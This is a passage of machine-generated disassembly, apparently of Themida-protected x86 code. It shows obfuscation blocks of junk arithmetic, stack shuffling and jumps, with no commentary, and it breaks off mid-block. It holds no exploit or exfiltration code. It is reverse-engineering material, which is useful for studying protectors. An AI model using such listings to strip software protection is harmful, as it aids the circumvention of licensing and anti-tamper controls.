loc_598FF9:				; CODE XREF: Themida_:005958D1j
		mov	esi, 4878C45Eh
		xor	eax, esi
		jmp	loc_5A2FD2
; ---------------------------------------------------------------------------


loc_599005:				; CODE XREF: Themida_:00593467j
		add	ebx, 612D50A1h
		not	ebx
		xor	ebx, 94CB9575h
		add	esi, ebx
		mov	ebx, [esp]
		jmp	loc_59773A
; ---------------------------------------------------------------------------


loc_59901D:				; CODE XREF: Themida_:00591197j
		add	esp, 4
		jmp	loc_595E41
; ---------------------------------------------------------------------------


loc_599028:				; CODE XREF: Themida_:0059EA97j
		pop	eax
		or	eax, 72D2EA4h
		add	eax, 0E704F42Bh
		mov	esi, eax
		jmp	loc_5A3821
; ---------------------------------------------------------------------------


loc_59903A:				; CODE XREF: Themida_:00591FE6j
		mov	[esp], ebp
		mov	ebp, 2
		add	edi, ebp
		mov	ebp, [esp]
		add	esp, 4
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		mov	esp, [esp]
		jmp	loc_59458B
; ---------------------------------------------------------------------------


loc_59905B:				; CODE XREF: Themida_:005A54CEj
		sub	ebx, ebp
		sub	ebx, 9373774h
		jmp	loc_59F245
; ---------------------------------------------------------------------------


loc_599068:				; CODE XREF: Themida_:005A289Bj
		push	esp
		pop	edx
		push	3FA7h
		mov	[esp], ebx
		push	edx
		mov	edx, 379815A4h
		push	92Ch
		mov	[esp], edi
		mov	edi, 53AD33FEh
		xor	edi, 0B5971C30h
		jmp	loc_5A0B40
; ---------------------------------------------------------------------------


loc_599090:				; CODE XREF: Themida_:0059C470j
		pop	edx
		pop	dword ptr [esp]
		mov	esp, [esp]
		ror	byte ptr [esp],	cl
		pushf
		jmp	loc_5902C1
; ---------------------------------------------------------------------------


loc_5990A0:				; CODE XREF: Themida_:005A0C97j
		mov	dl, 50h
		sub	dl, bl
		jmp	loc_599250
; ---------------------------------------------------------------------------


loc_5990A9:				; CODE XREF: Themida_:005A47CEj
		push	ecx
		mov	ecx, 2BC8083Dh
		mov	eax, ecx
		pop	ecx
		xor	ecx, eax
		mov	eax, [esp]
		add	esp, 4
		add	edi, ecx
		jmp	loc_59AFFC
; ---------------------------------------------------------------------------


loc_5990C1:				; CODE XREF: Themida_:005911EBj
		push	edx
		mov	edx, esp
		jmp	loc_5A206F
; ---------------------------------------------------------------------------


loc_5990C9:				; CODE XREF: Themida_:0059E4C7j
		shr	edi, 5
		jmp	loc_59EACF
; ---------------------------------------------------------------------------


loc_5990D1:				; CODE XREF: Themida_:005A3FF9j
		push	ecx
		push	eax
		jmp	loc_5A20F6
; ---------------------------------------------------------------------------


loc_5990D8:				; CODE XREF: Themida_:00598022j
		push	5990h
		jmp	loc_591764
; ---------------------------------------------------------------------------


loc_5990E2:				; CODE XREF: Themida_:005A3C76j
		push	24C66A79h
		pop	edi
		dec	edi
		inc	edi
		sub	edi, 17CC4432h
		mov	eax, edi
		pop	edi
		push	edi
		push	ebx
		mov	ebx, eax
		mov	edi, ebx
		pop	ebx
		mov	ecx, edi
		jmp	loc_5940F2
; ---------------------------------------------------------------------------


loc_599101:				; CODE XREF: Themida_:00593593j
		xchg	ebp, [esp]
		mov	esp, [esp]
		push	edx
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		pop	edx
		push	esi
		mov	esi, esp
		jmp	loc_5A3466
; ---------------------------------------------------------------------------


loc_599118:				; CODE XREF: Themida_:0059EBB2j
		push	eax
		mov	al, ch
		mov	bh, al
		pop	eax
		jmp	loc_5A2AF6
; ---------------------------------------------------------------------------


loc_599123:				; CODE XREF: Themida_:0059AB21j
		add	edx, 0FFFFFFFFh
		push	0
		jmp	loc_594AD9
; ---------------------------------------------------------------------------


loc_599130:				; CODE XREF: Themida_:0059A5F8j
		pop	edx
		add	ebp, ecx
		add	ebp, 0B9C63E1h
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_5926D1
; ---------------------------------------------------------------------------
		push	dword ptr [edi+3Ch]
		push	6746h
		mov	[esp], eax
		push	edx
		push	20022F55h
		jmp	loc_593144
; ---------------------------------------------------------------------------


loc_59915D:				; CODE XREF: Themida_:00593D7Aj
		pop	esp
		push	6318h
		mov	[esp], edi
		push	esp
		pop	edi
		push	ebx
		jmp	loc_59F6B2
; ---------------------------------------------------------------------------


loc_59916E:				; CODE XREF: Themida_:005A0F72j
		pop	eax
		add	esp, 4
		mov	ebp, [esp]
		push	eax
		mov	eax, esp
		push	ebp
		sub	esp, 4
		mov	[esp], ebx
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 3FD7175h
		shr	esi, 1
		jmp	loc_5A50E2
; ---------------------------------------------------------------------------


loc_599194:				; CODE XREF: Themida_:005A35D5j
		push	edx
		push	ebx
		jmp	loc_596BE7
; ---------------------------------------------------------------------------


loc_59919B:				; CODE XREF: Themida_:0059DE6Ej
		push	603E4A4Bh
		jmp	loc_5913EA
; ---------------------------------------------------------------------------


loc_5991A5:				; CODE XREF: Themida_:005A2038j
		sub	ebx, edx
		pop	edx
		push	ebx
		add	dword ptr [esp], 3B0D3506h
		pop	ecx
		sub	ecx, 3B0D3506h
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_591B0D
; ---------------------------------------------------------------------------


loc_5991C2:				; CODE XREF: Themida_:005923C4j
		sub	ecx, 1C465924h
		sub	ecx, 4F3D4A6Fh
		add	ecx, eax
		jmp	loc_5A0D17
; ---------------------------------------------------------------------------


loc_5991D5:				; CODE XREF: Themida_:005946D8j
		pop	edi
		add	esi, 311353EAh
		sub	esi, ecx
		sub	esi, 311353EAh
		push	eax
		jmp	loc_598477
; ---------------------------------------------------------------------------


loc_5991EA:				; CODE XREF: Themida_:0059553Bj
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	216Ch
		jmp	loc_59F93D
; ---------------------------------------------------------------------------


loc_599207:				; CODE XREF: Themida_:005A0F4Cj
		add	ecx, 0C47A0E4Ch
		add	ebp, ecx
		pop	ecx
		push	6B44h
		mov	[esp], eax
		mov	eax, 4
		sub	ebp, eax
		mov	eax, [esp]
		add	esp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], esi
		jmp	loc_5A3E45
; ---------------------------------------------------------------------------


loc_599234:				; CODE XREF: Themida_:005A1BCEj
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		push	esi
		push	esp
		mov	esi, [esp]
		push	eax
		mov	eax, esp
		jmp	loc_59650B
; ---------------------------------------------------------------------------


loc_599250:				; CODE XREF: Themida_:005990A4j
		pop	ebx
		sub	al, dl
		mov	dx, [esp]
		add	esp, 2
		jmp	loc_59FA06
; ---------------------------------------------------------------------------


loc_59925F:				; CODE XREF: Themida_:005A4ED3j
		push	edx
		mov	edx, 1558438Bh
		add	edx, 2B1270EBh
		jmp	loc_59DD3F
; ---------------------------------------------------------------------------


loc_599270:				; CODE XREF: Themida_:0059BF13j
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		jmp	loc_594C4A
; ---------------------------------------------------------------------------


loc_599287:				; CODE XREF: Themida_:005932F7j
		add	ecx, 1
		sub	ecx, 60981BCBh
		add	edx, ecx
		pop	ecx
		xchg	edx, [esp]
		pop	esp
		jmp	loc_59A60A
; ---------------------------------------------------------------------------
		push	ebp
		push	4BBBh
		mov	[esp], edx
		mov	edx, esp
		add	edx, 4
		push	eax
		push	ecx
		push	405F15E1h
		pop	ecx
		add	ecx, 1
		and	ecx, 237010BEh
		xor	ecx, 5010A6h
		jmp	loc_5A1B69
; ---------------------------------------------------------------------------


loc_5992CF:				; CODE XREF: Themida_:0059C7DDj
		push	edx
		mov	edx, esp
		add	edx, 4
		push	esi
		push	edx
		mov	edx, 57586FB9h
		mov	esi, 57586FBDh
		add	esi, 2FFF235Eh
		sub	esi, edx
		sub	esi, 2FFF235Eh
		pop	edx
		jmp	loc_599E5D
; ---------------------------------------------------------------------------


loc_5992F8:				; CODE XREF: Themida_:0059F0B3j
		push	73AAh
		mov	[esp], edi
		mov	edi, 64820D05h
		add	ecx, edi
		mov	edi, [esp]
		add	esp, 4
		sub	ecx, 64E45D6h
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		jmp	loc_59B4BD
; ---------------------------------------------------------------------------


loc_59932B:				; CODE XREF: Themida_:005965B4j
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_5995F3
; ---------------------------------------------------------------------------


loc_599339:				; CODE XREF: Themida_:005A2F53j
		push	ebx
		mov	ebx, 796E49FDh
		jmp	loc_5A2B96
; ---------------------------------------------------------------------------


loc_599344:				; CODE XREF: Themida_:005967D7j
		push	ecx
		mov	ecx, esp
		jmp	loc_593F1A
; ---------------------------------------------------------------------------


loc_59934C:				; CODE XREF: Themida_:005962CEj
		add	edx, 5D330264h
		pop	ecx
		mov	edi, edx
		pop	edx
		jmp	loc_5A424E
; ---------------------------------------------------------------------------


loc_59935B:				; CODE XREF: Themida_:00594586j
		push	eax
		jmp	loc_59E2E0
; ---------------------------------------------------------------------------


loc_599361:				; CODE XREF: Themida_:005913FFj
		add	edx, ebp
		push	ebx
		jmp	loc_5955FA
; ---------------------------------------------------------------------------


loc_599369:				; CODE XREF: Themida_:005A4F03j
		xor	edi, 3B4D6D1Eh
		sub	ebp, 7A45758h
		jmp	loc_59E1AC
; ---------------------------------------------------------------------------


loc_59937A:				; CODE XREF: Themida_:005A3925j
		pop	ebx
		mov	edx, [esp]
		jmp	loc_594269
; ---------------------------------------------------------------------------


loc_599383:				; CODE XREF: Themida_:005A4263j
		sub	ebx, 729F7AFEh
		sub	ebx, 3E7799Bh
		sub	ebx, 3EA50B79h
		sub	ebx, eax
		add	ebx, 3EA50B79h
		add	ebx, 3E7799Bh
		push	27ADh
		mov	[esp], edx
		jmp	loc_59FCCE
; ---------------------------------------------------------------------------


loc_5993B0:				; CODE XREF: Themida_:005A4768j
		pop	esp
		jmp	loc_5A1B53
; ---------------------------------------------------------------------------


loc_5993B6:				; CODE XREF: Themida_:005A3013j
		xor	ebx, 0BA061791h
		and	eax, ebx
		push	dword ptr [esp]
		jmp	loc_594764
; ---------------------------------------------------------------------------


loc_5993C6:				; CODE XREF: Themida_:005A1B8Dj
		jmp	loc_5902C1
; ---------------------------------------------------------------------------


loc_5993CB:				; CODE XREF: Themida_:00596220j
		xor	ebx, 5763702Bh
		push	ebp
		mov	ebp, 4F549C44h
		jmp	loc_59E28F
; ---------------------------------------------------------------------------


loc_5993DC:				; CODE XREF: Themida_:00592883j
		pop	edx
		add	esp, 4
		jmp	loc_591FE0
; ---------------------------------------------------------------------------


loc_5993E5:				; CODE XREF: Themida_:005A23A2j
		movzx	eax, ax
		push	ecx
		sub	esp, 4
		jmp	loc_5A52BC
; ---------------------------------------------------------------------------


loc_5993F1:				; CODE XREF: Themida_:005A03D5j
		neg	edi
		xor	edi, 0EDD27A18h
		sub	ebx, edi
		pop	edi
		jmp	loc_59E686
; ---------------------------------------------------------------------------


loc_599401:				; CODE XREF: Themida_:0059DC2Ej
		sub	dword ptr [esp+4], 28434C9Bh
		jmp	loc_5A4EEF
; ---------------------------------------------------------------------------


loc_59940E:				; CODE XREF: Themida_:00595533j
		add	eax, edx
		pop	edx
		xchg	eax, [esp]
		mov	esp, [esp]
		div	ecx
		push	6B37h
		mov	[esp], edx
		push	eax
		pushf
		jmp	loc_593AF2
; ---------------------------------------------------------------------------


loc_599428:				; CODE XREF: Themida_:00599920j
		add	ebx, 2
		push	ebx
		push	dword ptr [esp+4]
		jmp	loc_5A4968
; ---------------------------------------------------------------------------


loc_599438:				; CODE XREF: Themida_:005964D0j
		pop	ebp
		jmp	loc_59261A
; ---------------------------------------------------------------------------


loc_59943E:				; CODE XREF: Themida_:00597392j
		push	esp
		pop	ebp
		push	esi
		push	ebx
		push	esi
		mov	esi, 5DDB4D99h
		jmp	loc_59842B
; ---------------------------------------------------------------------------


loc_59944D:				; CODE XREF: Themida_:00596318j
		dec	ebp
		sub	ebp, 0D62A0CFAh
		or	eax, ebp
		jmp	loc_5A4FA3
; ---------------------------------------------------------------------------


loc_59945B:				; CODE XREF: Themida_:0059D406j
		pop	ecx
		push	ebx
		mov	ebx, 4E340968h
		shr	ebx, 5
		shl	ebx, 3
		or	ebx, 50437714h
		shr	ebx, 3
		jmp	loc_5A3E74
; ---------------------------------------------------------------------------


loc_599476:				; CODE XREF: Themida_:0059BFF1j
		xor	ebp, 0E7FF20DCh
		sub	ebx, ebp
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_599808
; ---------------------------------------------------------------------------


loc_599489:				; CODE XREF: Themida_:005934B1j
		add	eax, esi
		sub	eax, 0DB31D24h
		sub	eax, 5ABF2D60h
		mov	esi, [esp]
		jmp	loc_5A1172
; ---------------------------------------------------------------------------


loc_59949D:				; CODE XREF: Themida_:0059BEA7j
		xchg	eax, ebx
		jmp	loc_593EDD
; ---------------------------------------------------------------------------


loc_5994A3:				; CODE XREF: Themida_:005A0A7Cj
		mov	ecx, 25CE4A7Dh
		dec	ecx
		push	ebx
		jmp	loc_591A80
; ---------------------------------------------------------------------------


loc_5994AF:				; CODE XREF: Themida_:0059E765j
		mov	edx, 8481BDCh
		sub	esi, 66E43CE2h
		sub	esi, edx
		add	esi, 66E43CE2h
		mov	edx, [esp]
		jmp	loc_599E27
; ---------------------------------------------------------------------------


loc_5994CA:				; CODE XREF: Themida_:005925D3j
		pop	esp
		jmp	loc_59C7D7
; ---------------------------------------------------------------------------


loc_5994D0:				; CODE XREF: Themida_:005A48CDj
		mov	edx, [esp]
		add	esp, 4
		xor	al, bl
		mov	ebx, [esp]
		add	esp, 4
		xor	bl, al
		movzx	eax, al
		push	ebx
		push	esp
		mov	ebx, [esp]
		push	ebp
		push	322Dh
		push	esp
		pop	dword ptr [esp]
		push	edi
		jmp	loc_59BD0A
; ---------------------------------------------------------------------------


loc_5994FB:				; CODE XREF: Themida_:005917C2j
		mov	eax, [esp]
		add	esp, 4
		and	eax, 2410646Eh
		inc	eax
		not	eax
		inc	eax
		xor	eax, 0DE12D06Fh
		xor	ebp, eax
		pop	eax
		inc	ebp
		xor	ebp, 345F31C0h
		add	esi, ebp
		pop	ebp
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		jmp	loc_597939
; ---------------------------------------------------------------------------


loc_59952D:				; CODE XREF: Themida_:00598C97j
		mov	edi, 37DC00B0h
		add	ebx, edi
		pop	edi
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_597269
; ---------------------------------------------------------------------------


loc_599543:				; CODE XREF: Themida_:005A1AFDj
		push	dword ptr [esp]
		mov	ebx, [esp]
		jmp	loc_59C543
; ---------------------------------------------------------------------------


loc_59954E:				; CODE XREF: Themida_:0059E535j
		add	ebp, 3271C24h
		add	ebp, esi
		sub	ebp, 3271C24h
		jmp	loc_59C771
; ---------------------------------------------------------------------------


loc_599561:				; CODE XREF: Themida_:00592265j
		jmp	loc_5902C1
; ---------------------------------------------------------------------------


loc_599566:				; CODE XREF: Themida_:005A484Fj
		mov	[esp], edx
		jmp	loc_5954AB
; ---------------------------------------------------------------------------


loc_59956E:				; CODE XREF: Themida_:005A272Aj
		mov	ch, 0B9h
		neg	ch
		sub	ch, 0C1h
		push	edx
		mov	dl, 0A8h
		not	dl
		shl	dl, 6
		xor	dl, 0BEh
		or	ch, dl
		pop	edx
		not	ch
		and	ch, 3Fh
		push	ebx
		mov	bl, 82h
		jmp	loc_595E0D
; ---------------------------------------------------------------------------


loc_599590:				; CODE XREF: Themida_:0059CF7Cj
		pop	edx
		add	esp, 4
		jmp	loc_5A2835
; ---------------------------------------------------------------------------


loc_59959C:				; CODE XREF: Themida_:005A3328j
		mov	edx, 19074135h
		jmp	loc_592D33
; ---------------------------------------------------------------------------


loc_5995A6:				; CODE XREF: Themida_:0059B7A3j
		and	edx, 25B80F69h
		neg	edx
		add	edx, 796E1890h
		xor	edx, 78E6106Ch
		jmp	loc_596ABD
; ---------------------------------------------------------------------------


loc_5995BF:				; CODE XREF: Themida_:0059E8C0j
		pop	edi
		xchg	ecx, [esp]
		pop	esp
		xor	eax, edx
		xor	edx, eax
		xor	eax, edx
		xor	[esp], eax
		xor	eax, [esp]
		xor	[esp], eax
		jmp	loc_594CB4
; ---------------------------------------------------------------------------


loc_5995D8:				; CODE XREF: Themida_:0059388Dj
		shl	ecx, 7
		push	edx
		mov	edx, 66AD6BA3h
		jmp	loc_59AD0C
; ---------------------------------------------------------------------------


loc_5995E6:				; CODE XREF: Themida_:005A4D22j
		mov	dh, 13h
		or	bh, dh
		pop	edx
		shl	bh, 5
		jmp	loc_59B7C8
; ---------------------------------------------------------------------------


loc_5995F3:				; CODE XREF: Themida_:00599334j
		and	ecx, 64D83598h
		shl	ecx, 5
		inc	ecx
		push	7E6Ah
		jmp	loc_59A6E0
; ---------------------------------------------------------------------------


loc_599607:				; CODE XREF: Themida_:0059A4DEj
		mov	cx, [esp]
		add	esp, 2
		sub	bl, 9Eh
		sub	esp, 2
		mov	[esp], cx
		mov	ch, 83h
		add	bl, 0
		sub	bl, ch
		sub	bl, 0
		mov	cx, [esp]
		jmp	loc_59CC72
; ---------------------------------------------------------------------------


loc_59962E:				; CODE XREF: Themida_:0059FA59j
		add	edi, 0BB96872h
		mov	esi, edi
		pop	edi
		xor	esi, 2D21629Ah
		sub	esi, 3F010D36h
		push	edx
		mov	edx, 0FFFFFFFFh
		jmp	loc_59B5AA
; ---------------------------------------------------------------------------


loc_59964E:				; CODE XREF: Themida_:005A4B3Dj
		pop	edi
		add	edx, ecx
		jmp	loc_59A834
; ---------------------------------------------------------------------------


loc_599656:				; CODE XREF: Themida_:005908F4j
		add	ebx, 2A9A4681h
		push	eax
		jmp	loc_59C395
; ---------------------------------------------------------------------------


loc_599662:				; CODE XREF: Themida_:005A531Aj
		pop	edi
		add	edi, 4
		jmp	loc_59C274
; ---------------------------------------------------------------------------


loc_59966E:				; CODE XREF: Themida_:0059FC3Aj
		mov	ecx, 2AA30140h
		add	ebx, ecx
		jmp	loc_5963AD
; ---------------------------------------------------------------------------


loc_59967A:				; CODE XREF: Themida_:0059C353j
		sub	edx, 218D2EF9h
		pop	eax
		xchg	ebx, edx
		neg	ebx
		xchg	ebx, edx
		add	edx, 0FFFFFFFFh
		push	ecx
		mov	ecx, 37065B03h
		add	ecx, 595376FAh
		and	ecx, 47932204h
		sub	ecx, 43EF417Eh
		sub	edx, ecx
		pop	ecx
		add	ebp, edx
		mov	edx, [esp]
		add	esp, 4
		push	ebp
		push	dword ptr [esp+4]
		jmp	loc_591BDA
; ---------------------------------------------------------------------------


loc_5996BA:				; CODE XREF: Themida_:00596DBEj
		jmp	loc_5902C1
; ---------------------------------------------------------------------------


loc_5996BF:				; CODE XREF: Themida_:00596E23j
		sub	edx, eax
		jmp	loc_599DB2
; ---------------------------------------------------------------------------


loc_5996C6:				; CODE XREF: Themida_:00595E16j
		push	eax
		mov	al, ch
		mov	dl, al
		mov	eax, [esp]
		push	edi
		mov	edi, esp
		push	ebp
		mov	ebp, 7FAB488Eh
		not	ebp
		inc	ebp
		and	ebp, 30B77FF8h
		jmp	loc_5A0CEF
; ---------------------------------------------------------------------------


loc_5996E5:				; CODE XREF: Themida_:0059E45Bj
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_5A41CD
; ---------------------------------------------------------------------------


loc_5996F0:				; CODE XREF: Themida_:00592546j
		mov	ebx, 67F13840h
		sub	ebx, 0FFFFFFFFh
		sub	ebx, 67F1383Dh
		mov	esi, ebx
		pop	ebx
		sub	eax, 36F03D48h
		add	eax, esi
		add	eax, 36F03D48h
		jmp	loc_5979F6
; ---------------------------------------------------------------------------


loc_599712:				; CODE XREF: Themida_:0059EC2Ej
		push	edx
		mov	edx, 1B6163C9h
		xor	[esp+4], edx
		pop	edx
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_59B924
; ---------------------------------------------------------------------------


loc_59972E:				; CODE XREF: Themida_:00597BF8j
		and	ecx, 17E0738Bh
		jmp	loc_59D8DD
; ---------------------------------------------------------------------------


loc_599739:				; CODE XREF: Themida_:00592E71j
		inc	ebp
		or	ebp, 1AD77F9h
		xor	ebp, 7CD29AB0h
		mov	ebx, ebp
		jmp	loc_595E5E
; ---------------------------------------------------------------------------


loc_59974D:				; CODE XREF: Themida_:005A069Ej
		xor	edi, 354C31C8h
		jmp	loc_59AAD7
; ---------------------------------------------------------------------------


loc_599758:				; CODE XREF: Themida_:00590CC5j
		pop	ecx
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		push	7D33h
		mov	[esp], eax
		jmp	loc_5907C4
; ---------------------------------------------------------------------------


loc_599776:				; CODE XREF: Themida_:0059FDADj
		mov	esi, 4D044DAh
		push	eax
		mov	eax, 28B451F7h
		xor	eax, 542D4241h
		sub	esi, eax
		jmp	loc_5A5649
; ---------------------------------------------------------------------------


loc_59978D:				; CODE XREF: Themida_:0059620Cj
		dec	esi
		or	esi, 40F04964h
		jmp	loc_595C91
; ---------------------------------------------------------------------------


loc_599799:				; CODE XREF: Themida_:00594FEDj
		add	esi, 4
		jmp	loc_593F7D
; ---------------------------------------------------------------------------


loc_5997A4:				; CODE XREF: Themida_:005930E0j
		add	edx, 50A223DDh
		add	edx, ebx
		jmp	loc_5A2602
; ---------------------------------------------------------------------------


loc_5997B1:				; CODE XREF: Themida_:0059743Cj
		or	[edi+1Ch], ebp
		jmp	loc_5A1F3F
; ---------------------------------------------------------------------------


loc_5997B9:				; CODE XREF: Themida_:005A0163j
		mov	esp, [esp]
		or	[esp], al
		pushf
		jmp	loc_5902C1
; ---------------------------------------------------------------------------


loc_5997C5:				; CODE XREF: Themida_:00598FDEj
		mov	[esp], edx
		sub	esp, 4
		jmp	loc_5A0690
; ---------------------------------------------------------------------------


loc_5997D3:				; CODE XREF: Themida_:0059AF77j
		sub	ebp, edx
		jmp	loc_5A5011
; ---------------------------------------------------------------------------


loc_5997DA:				; CODE XREF: Themida_:00592067j
		sub	eax, 4
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		pop	esp
		jmp	loc_598A19
; ---------------------------------------------------------------------------


loc_5997EE:				; CODE XREF: Themida_:00592EB7j
		push	ebx
		push	ecx
		mov	cl, 1Bh
		shr	cl, 2
		push	eax
		mov	al, 0B6h
		shl	al, 4
		not	al
		xor	al, 83h
		not	al
		sub	al, 84h
		jmp	loc_592503
; ---------------------------------------------------------------------------


loc_599808:				; CODE XREF: Themida_:00599484j
		add	ebx, 41FA572Eh
		dec	ebx
		push	edx
		mov	edx, 408C0C89h
		not	edx
		neg	edx
		jmp	loc_59D263
; ---------------------------------------------------------------------------


loc_59981E:				; CODE XREF: Themida_:005905CDj
		xor	ebp, 0F989B9B9h
		jmp	loc_5A2F46
; ---------------------------------------------------------------------------


loc_599829:				; CODE XREF: Themida_:0059F262j
		not	edx
		xor	edx, 0AD54EC5Eh
		mov	esi, edx
		pop	edx
		neg	esi
		xor	esi, 0E584A3EAh
		xor	edx, esi
		pop	esi
		mov	ebx, edx
		jmp	loc_59515A
; ---------------------------------------------------------------------------


loc_599846:				; CODE XREF: Themida_:00595FF9j
		push	esp
		mov	edx, [esp]
		push	edi
		jmp	loc_59DA80
; ---------------------------------------------------------------------------
		lodsd
		push	7319h
		mov	[esp], esi
		mov	esi, 78232EF3h
		sub	eax, 14390990h
		jmp	loc_59286A
; ---------------------------------------------------------------------------


loc_599868:				; CODE XREF: Themida_:0059AAA9j
		movzx	eax, al
		mov	dx, [esp]
		push	edx
		jmp	loc_59AF2A
; ---------------------------------------------------------------------------


loc_599875:				; CODE XREF: Themida_:0059F6CCj
		jmp	loc_5902C1
; ---------------------------------------------------------------------------


loc_59987A:				; CODE XREF: Themida_:0059EBDFj
		pop	eax
		add	esp, 4
		jmp	loc_5A4437
; ---------------------------------------------------------------------------


loc_599886:				; CODE XREF: Themida_:005A4ACEj
		jmp	loc_5902C1
; ---------------------------------------------------------------------------


loc_59988B:				; CODE XREF: Themida_:00593731j
		mov	bl, 1
		sub	dh, bl
		pop	ebx
		jmp	loc_595377
; ---------------------------------------------------------------------------


loc_599895:				; CODE XREF: Themida_:00596CC3j
		dec	edi
		add	edi, 165F18E1h
		inc	edi
		not	edi
		sub	edi, 0AAD576D7h
		jmp	loc_5A51D4
; ---------------------------------------------------------------------------


loc_5998AA:				; CODE XREF: Themida_:00595330j
		mov	[esp], eax
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_59F818
; ---------------------------------------------------------------------------


loc_5998BF:				; CODE XREF: Themida_:0059AD6Fj
		shr	bp, 2
		sub	bp, 6652h
		inc	bp
		jmp	loc_59F14A
; ---------------------------------------------------------------------------


loc_5998CF:				; CODE XREF: Themida_:005A1295j
		sub	eax, ebp
		jmp	loc_5A5263
; ---------------------------------------------------------------------------


loc_5998D6:				; CODE XREF: Themida_:00595DA1j
		add	dword ptr [esp], 4
		pop	eax
		jmp	loc_598817
; ---------------------------------------------------------------------------


loc_5998E3:				; CODE XREF: Themida_:0059D046j
		add	ecx, 5A791BF4h
		sub	ecx, esi
		push	ebx
		jmp	loc_592C09
; ---------------------------------------------------------------------------


loc_5998F1:				; CODE XREF: Themida_:00598B27j
		push	ebx
		mov	ebx, 4
		add	ecx, ebx
		jmp	loc_596DC3
; ---------------------------------------------------------------------------


loc_5998FE:				; CODE XREF: Themida_:0059714Fj
		mov	esp, [esp]
		or	[esp], ax
		pushf
		jmp	loc_5902C1
; ---------------------------------------------------------------------------


loc_59990B:				; CODE XREF: Themida_:00594149j
		xor	[esp], eax
		xor	eax, [esp]
		mov	esp, [esp]
		mov	[esp], eax
		jmp	loc_5902C1
; ---------------------------------------------------------------------------


loc_59991C:				; CODE XREF: Themida_:00594BF0j
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_599428
; ---------------------------------------------------------------------------


loc_599925:				; CODE XREF: Themida_:0059133Dj
		sub	eax, ecx
		pop	ecx
		sub	eax, 22DF0CCAh
		jmp	loc_59DAC7
; ---------------------------------------------------------------------------


loc_599932:				; CODE XREF: Themida_:005A1456j
		mov	esp, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], edi
		push	esp
		jmp	loc_5A1AED
; ---------------------------------------------------------------------------


loc_599951:				; CODE XREF: Themida_:005A051Bj
		push	esp
		jmp	loc_5A3301
; ---------------------------------------------------------------------------


loc_599957:				; CODE XREF: Themida_:005A1826j
		mov	esp, [esp]
		push	dword ptr [esp]
		jmp	loc_59661B
; ---------------------------------------------------------------------------


loc_599962:				; CODE XREF: Themida_:0059E2DBj
		pop	esp
		mov	[esp], edi
		push	ecx
		jmp	loc_5A022A
; ---------------------------------------------------------------------------


loc_59996C:				; CODE XREF: Themida_:005A2136j
		or	bh, dh
		pop	edx
		push	cx
		mov	cl, bh
		not	cl
		mov	bh, cl
		jmp	loc_595363
; ---------------------------------------------------------------------------


loc_59997C:				; CODE XREF: Themida_:0059D6A6j
		mov	ax, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 2
		xchg	ebp, [esp]
		pop	esp
		add	bl, 29h
		jmp	loc_59A6B0
; ---------------------------------------------------------------------------


loc_599998:				; CODE XREF: Themida_:00590491j
		mov	ebp, 7B583CD5h
		inc	ebp
		jmp	loc_59C908
; ---------------------------------------------------------------------------


loc_5999A3:				; CODE XREF: Themida_:0059E74Dj
		mov	ebp, 9A1614Ah
		jmp	loc_59B5B2
; ---------------------------------------------------------------------------


loc_5999AD:				; CODE XREF: Themida_:00598BA4j
		pop	edx
		jmp	loc_5A3923
; ---------------------------------------------------------------------------


loc_5999B3:				; CODE XREF: Themida_:0059C324j
		push	esi
		mov	esi, 5ABE71BBh
		push	ebp
		mov	ebp, 517B3E2Eh
		sub	esi, ebp
		pop	ebp
		jmp	loc_59B363
; ---------------------------------------------------------------------------


loc_5999C7:				; CODE XREF: Themida_:005A06FEj
		mov	[esp], ebp
		jmp	loc_59BF09
; ---------------------------------------------------------------------------


loc_5999CF:				; CODE XREF: Themida_:0059D036j
		pop	ecx
		and	dh, 0CFh
		push	7920h
		mov	[esp], eax
		jmp	loc_59220D
; ---------------------------------------------------------------------------


loc_5999E0:				; CODE XREF: Themida_:0059B440j
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		dec	ebx
		jmp	loc_59FC28
; ---------------------------------------------------------------------------


loc_5999ED:				; CODE XREF: Themida_:0059E085j
		sub	cl, 1
		push	bx
		mov	bh, 92h
		sub	cl, bh
		pop	bx
		xor	bh, cl
		jmp	loc_5928A5
; ---------------------------------------------------------------------------


loc_5999FF:				; CODE XREF: Themida_:005A3F34j
		pop	ebx
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_5A0C08
; ---------------------------------------------------------------------------


loc_599A0E:				; CODE XREF: Themida_:005959A0j
		push	dword ptr [esp]
		pop	ecx
		push	ecx
		jmp	loc_59F47B
; ---------------------------------------------------------------------------


loc_599A18:				; CODE XREF: Themida_:005959E0j
		pop	esp
		or	edx, eax
		shl	edx, 1
		push	3F66h
		jmp	loc_59AEE5
; ---------------------------------------------------------------------------


loc_599A27:				; CODE XREF: Themida_:00599AC9j
		xchg	eax, edi
		xchg	eax, edi
		add	eax, 2582164Dh
		sub	ebx, 34011EC1h
		jmp	loc_5974C0
; ---------------------------------------------------------------------------


loc_599A39:				; CODE XREF: Themida_:005A22F0j
		pop	edi
		sub	ebx, edx
		pop	edx
